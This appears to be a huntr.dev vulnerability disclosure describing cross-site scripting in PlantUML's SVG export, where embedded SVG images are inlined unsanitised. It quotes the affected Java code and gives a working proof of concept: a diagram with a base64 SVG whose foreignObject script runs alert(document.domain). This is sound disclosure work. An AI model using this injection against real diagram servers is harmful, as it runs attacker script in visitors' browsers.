Lucene search

K
huntr708527DB9509-6CD3-4148-8D70-5942F3837604
HistoryApr 03, 2022 - 2:34 p.m.

XSS via Embedded SVG in SVG Diagram Format

2022-04-0314:34:37
7085
www.huntr.dev
30

0.002 Low

EPSS

Percentile

51.9%

Description

It is possible to embed SVG images in diagrams.
When those are exported or used in a diagram in SVG format, the content of the embedded SVG image is included inline.
This means the SVG markup gets inserted directly into the markup of the enclosing SVG.

Since the SVG content is not sanitized it opens a XSS vulnerability.
SVG allows among other things, the inclusion of HTML markup via foreignObject elements.
So this also allows adding script tags and executing JavaScript in the context of a website that embeds the diagram in SVG format.

With this technique the security measures like filtering out javascript:-links of the diagram can be bypassed and even more dangerous payloads that execute automatically in the background can be delivered.

Handling of embedded SVG (constructing SVG string and setting a placeholder for serialization):
<https://github.com/plantuml/plantuml/blob/v1.2022.3/src/net/sourceforge/plantuml/svg/SvgGraphics.java#L899-L911&gt;

public void svgImage(UImageSvg image, double x, double y) {
    if (hidden == false) {
        String svg = manageScale(image);
        final String pos = "&lt;svg x=\"" + format(x) + "\" y=\"" + format(y) + "\"&gt;";
        svg = pos + svg.substring(5);
        final String key = "imagesvginlined" + image.getMD5Hex() + images.size();
        final Element elt = (Element) document.createElement(key);
        getG().appendChild(elt);
        images.put(key, svg);
    }
    ensureVisible(x, y);
    ensureVisible(x + image.getData("width"), y + image.getData("height"));
}

Serialization (replacing placeholder with markup of embedded SVG):
<https://github.com/plantuml/plantuml/blob/v1.2022.3/src/net/sourceforge/plantuml/svg/SvgGraphics.java#L644-L658&gt;

public void createXml(OutputStream os) throws TransformerException, IOException {
	if (images.size() == 0) {
		createXmlInternal(os);
		return;
	}
	final ByteArrayOutputStream baos = new ByteArrayOutputStream();
	createXmlInternal(baos);
	String s = new String(baos.toByteArray());
	for (Map.Entry&lt;String, String&gt; ent : images.entrySet()) {
		final String k = "&lt;" + ent.getKey() + "/&gt;";
		s = s.replace(k, ent.getValue());
	}
	s = removeXmlHeader(s);
	os.write(s.getBytes());
}

Proof of Concept

As an example the PlantUML diagram below will automatically execute alert(document.domain) when loaded:

PlantUML code:

@startuml
start
: aasdf <img src="data:image/svg+xml;base64,PHN2ZyB3aWR0aD0iMTAwIiBoZWlnaHQ9IjEwMCI+CiAgICA8Zm9yZWlnbk9iamVjdCB3aWR0aD0iMTAwJSIgaGVpZ2h0PSIxMDAlIj4KICAgICAgICA8c2NyaXB0PmFsZXJ0KGRvY3VtZW50LmRvbWFpbik7PC9zY3JpcHQ+CiAgICA8L2ZvcmVpZ25PYmplY3Q+Cjwvc3ZnPg=="> ;
stop
@enduml

Link for a PlantUML server (adjust host/port): <http://127.0.0.1:8080/plantuml/svg/LOtHRe8m64RlVGhYhIPhG3VHiGHmIb5CnGMaTp-WNP5gOqaHdtwQB4jsyLsTdFEf1gvDRse0gF9el7F137Kjd7u93Kov07PuKPeDRgAUvQ0EhwCX2JOcxJmBqXZ17F7eosqnzouqhSyGR6rSVRQHZmS-TndstGaLTlTa-Sdc89AgzF-xuGupM2QIcj-8xF0jchirhaQhXyj-DodCJGTx3n6nK7GVejKorfcLD3GTexM8TPukPCvFRyItxvaLoYBO_lslJQeByUoFIIPadLaFLhMwiEYPCCVfVnYpdcekyWS0&gt;

The diagram above embeds the following base64 encoded SVG image:

&lt;svg width="100" height="100"&gt;
    &lt;foreignObject width="100%" height="100%"&gt;
        &lt;script&gt;alert(document.domain);&lt;/script&gt;
    &lt;/foreignObject&gt;
&lt;/svg&gt;

The resulting SVG of the diagram generated by PlantUML consists of:

&lt;svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" contentStyleType="text/css" height="223px" preserveAspectRatio="none" style="width:189px;height:223px;background:#FFFFFF;" version="1.1" viewBox="0 0 189 223" width="189px" zoomAndPan="magnify"&gt;&lt;defs/&gt;&lt;g&gt;&lt;ellipse cx="94.5" cy="20" fill="#222222" rx="10" ry="10" style="stroke:#222222;stroke-width:1.0;"/&gt;&lt;rect fill="#F1F1F1" height="120" rx="12.5" ry="12.5" style="stroke:#181818;stroke-width:0.5;" width="167" x="11" y="50"/&gt;&lt;text fill="#000000" font-family="sans-serif" font-size="12" lengthAdjust="spacing" textLength="35" x="25" y="157.1699"&gt;aasdf&lt;/text&gt;&lt;svg x="64" y="60"&gt;
    &lt;foreignObject width="100%" height="100%"&gt;
        &lt;script&gt;alert(document.domain);&lt;/script&gt;
    &lt;/foreignObject&gt;
&lt;/svg&gt;&lt;text fill="#000000" font-family="sans-serif" font-size="12" lengthAdjust="spacing" textLength="4" x="164" y="157.1699"&gt; &lt;/text&gt;&lt;ellipse cx="94.5" cy="201" rx="11" ry="11" style="stroke:#222222;stroke-width:1.0;fill:none;"/&gt;&lt;ellipse cx="94.5" cy="201" fill="#222222" rx="6" ry="6" style="stroke:#111111;stroke-width:1.0;"/&gt;&lt;line style="stroke:#181818;stroke-width:1.0;" x1="94.5" x2="94.5" y1="30" y2="50"/&gt;&lt;polygon fill="#181818" points="90.5,40,94.5,50,98.5,40,94.5,44" style="stroke:#181818;stroke-width:1.0;"/&gt;&lt;line style="stroke:#181818;stroke-width:1.0;" x1="94.5" x2="94.5" y1="170" y2="190"/&gt;&lt;polygon fill="#181818" points="90.5,180,94.5,190,98.5,180,94.5,184" style="stroke:#181818;stroke-width:1.0;"/&gt;

The embedded SVG with the payload can be easily spotted.

0.002 Low

EPSS

Percentile

51.9%